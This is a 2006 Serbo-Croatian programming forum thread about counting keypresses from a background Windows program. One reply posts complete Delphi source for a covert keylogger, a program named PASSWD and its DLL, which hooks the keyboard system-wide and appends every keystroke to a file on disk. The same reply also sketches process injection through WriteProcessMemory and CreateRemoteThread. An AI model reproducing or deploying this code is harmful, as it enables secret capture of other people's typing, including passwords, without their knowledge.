Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

BCB - Hvatanje pritisnute tipke

[es] :: C/C++ programiranje :: BCB - Hvatanje pritisnute tipke

[ Pregleda: 2951 | Odgovora: 7 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

itf
Zagreb

Član broj: 59794
Poruke: 993
161.53.55.*



+9 Profil

icon BCB - Hvatanje pritisnute tipke16.10.2006. u 09:07 - pre 213 meseci
Ovako... Trebao bi napisati program koji broji koliko puta je pritisnuta koja tipka na tipkovnici. Postoji samo jedan problem. Naime, program se treba izvšavati u pozadini tako da korisnici mogu neometano koristiti i druge aplikacije, a da ova opet broji koje su tipke i tamo stisnute. Kako da natjeram svoju aplikaciju da broji pritisnute tipke iako ta moja aplikacija nije trenutno aktivna? Da je aktivna onda problema ne bi ni bilo... Hvala
 
Odgovor na temu

X Files
Vladimir Stefanovic
Pozarevac

SuperModerator
Član broj: 15100
Poruke: 4902
89.216.236.*

Jabber: xfiles@elitesecurity.org


+638 Profil

icon Re: BCB - Hvatanje pritisnute tipke16.10.2006. u 14:35 - pre 213 meseci
Ja bih to uradio ovako:
BCB Servisna aplikacija (servis) + global keyboard hook (dll)

Citat:

[...] iako ta moja aplikacija nije trenutno aktivna? Da je aktivna onda problema ne bi ni bilo... Hvala

Kako to misliš da "nije aktivna"?
Aplikacija će svakako biti aktivna, samo neće imati nikakav interfejs...

 
Odgovor na temu

itf
Zagreb

Član broj: 59794
Poruke: 993
161.53.55.*



+9 Profil

icon Re: BCB - Hvatanje pritisnute tipke17.10.2006. u 08:02 - pre 213 meseci
To i mislim... neće imati interfejs već će ulogu aktivnog programa preuzeti neka druga aplikacija. Možeš li mi dati jedan primjer tog servisa? Na što točno misliš?
 
Odgovor na temu

X Files
Vladimir Stefanovic
Pozarevac

SuperModerator
Član broj: 15100
Poruke: 4902
*.3dnet.co.yu.

Jabber: xfiles@elitesecurity.org


+638 Profil

icon Re: BCB - Hvatanje pritisnute tipke17.10.2006. u 08:32 - pre 213 meseci
Dok ne uspem da iskopam neki svoj kod, pogledaj u BCB Helpu,
TService(Application). Ima primer.

Takodje, ne znam da li imas e-knjigu C++ Builder 4 Unleashed...
U njoj ima lepo opisan proces kreiranja takve aplikacije.

Konkretno, pronadji u vrstama BCB projekata Servisnu aplikaciju.

Ona se instalira sa:
program.exe /install
... a deinstalira sa:
program.exe /uninstall
... a naravno, to mozes da podesis u PIF fajlu da se radi automatski.

Servisnu aplikaciju moze kontrolisati i iz neke druge tvoje GUI aplikacije
sa API-jima: ControlService() i StartService(), ili direktno iz OS-a:
Control Panel / Admin tools / Services
 
Odgovor na temu

itf
Zagreb

Član broj: 59794
Poruke: 993
161.53.55.*



+9 Profil

icon Re: BCB - Hvatanje pritisnute tipke17.10.2006. u 09:30 - pre 213 meseci
Našao sam nešto, no ako možeš pošalji mi neki primjer iz prakse na mail dok još ne skinem tu knjigu i to malo pogledam sve... Zahvaljujem...
 
Odgovor na temu

passwdpasswd

Član broj: 116565
Poruke: 24
*.adsl.net.t-com.hr.



Profil

icon Re: BCB - Hvatanje pritisnute tipke19.10.2006. u 12:26 - pre 213 meseci
Des itf...nema te nista na ICQ ;P
Evo ti mali primjer za hookovanje u delphiu...
Ovo je glavni program:

Code:

program PASSWD;
uses
  Windows;

{$R *.RES}

var
   Hook : HHOOK;
   DllInstance : DWORD;
   HookProc : FARPROC;

Begin
   DllInstance := LoadLibrary('PASSWDDLL');
   HookProc := GetProcAddress(DllInstance, 'HookProcedure');
   Hook := SetWindowsHookEx(WH_KEYBOARD, HookProc, DllInstance, 0);
   Sleep(INFINITE);
   UnhookWindowsHookEx(Hook);
   FreeLibrary(DllInstance);
end.



I ovo je DLL koji poziva taj program:
Code:

library PASSWDDLL;

uses
  Windows;

Procedure HookProcedure(nCode: Integer; wParam: WPARAM;
                        lParam: LPARAM); stdcall;
var 
   LogFile : THandle;
   BytesWritten : DWORD;
   Ch : Byte;
begin
   if ((HiWord(lParam) and KF_UP) <> 0) and 
       (nCode = HC_ACTION) then
   begin
      LogFile := CreateFile('c:\log_text.txt', GENERIC_WRITE,
                                      FILE_SHARE_READ, Nil,
                                      OPEN_ALWAYS, 0, 0);
      SetFilePointer(LogFile, 0, Nil, FILE_END);
      WriteFile (LogFile, wParam, 1, BytesWritten, Nil);
      if Lo(wParam) = 13 then
      begin
         Ch := 10;
         WriteFile (LogFile, Ch, 1, BytesWritten, Nil);
      end;
      CloseHandle(LogFile);
   end;
   CallNextHookEx(0, nCode, wParam, lParam);
end;

exports HookProcedure;
end.


HookProcedure mora bit u DLL-u zato jer se jedino DLL moze ucitat u sve procese, ja sam prije pokuso bez dll-a i uspio sam na kraju al je kod bio gadan, ako ga iskopam pa ti ga posaljem! => uglavnom morao si injectat HookProcedure u sve aktivne procese/servise sa WriteProcessMemory te takodjer upisat obicnu petlju koja ce pozivat tu fju i onda sa CreateRemoteThread pozvat taj skok.. ima i laksih nacina al jbga :/


Ako ne uspijes ovo prevest u C++ cimni me na ICQ :/

z
 
Odgovor na temu

itf
Zagreb

Član broj: 59794
Poruke: 993
161.53.55.*



+9 Profil

icon Re: BCB - Hvatanje pritisnute tipke19.10.2006. u 13:10 - pre 213 meseci
Hvala majstore! Već mi je ovo palo na pamet, no htio sam izbjeći baš ove gromade koda :) Hvala svejedno, ali mislim da ću uspjeti nešto iskemijati sa ovim servisnim aplikacijama... isto tako, ako uspiješ pronaći onaj kod svakako pošalji da vidim šta se i time može postići. poz'
 
Odgovor na temu

passwdpasswd

Član broj: 116565
Poruke: 24
*.adsl.net.t-com.hr.



Profil

icon Re: BCB - Hvatanje pritisnute tipke19.10.2006. u 15:58 - pre 213 meseci
Ok.. nema problema.. samo ne znam di je, imam gomile starih kodova, moram sve to ocistit..

Al ono gore nije neki problem, DLL negdje uguras nije vazno gdje, a onaj kod DLL-a moze i krace ako koristis delphi fje, tipa AssignFile, ReadLn, WriteLn, CloseFile... ili pak od C++ -a hmmmm kako ono ide.... fopen, fwrite, fget, fput, fread, fclose ili pak preko IO stream-a, ifstream, ofstream....


z
 
Odgovor na temu

[es] :: C/C++ programiranje :: BCB - Hvatanje pritisnute tipke

[ Pregleda: 2951 | Odgovora: 7 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.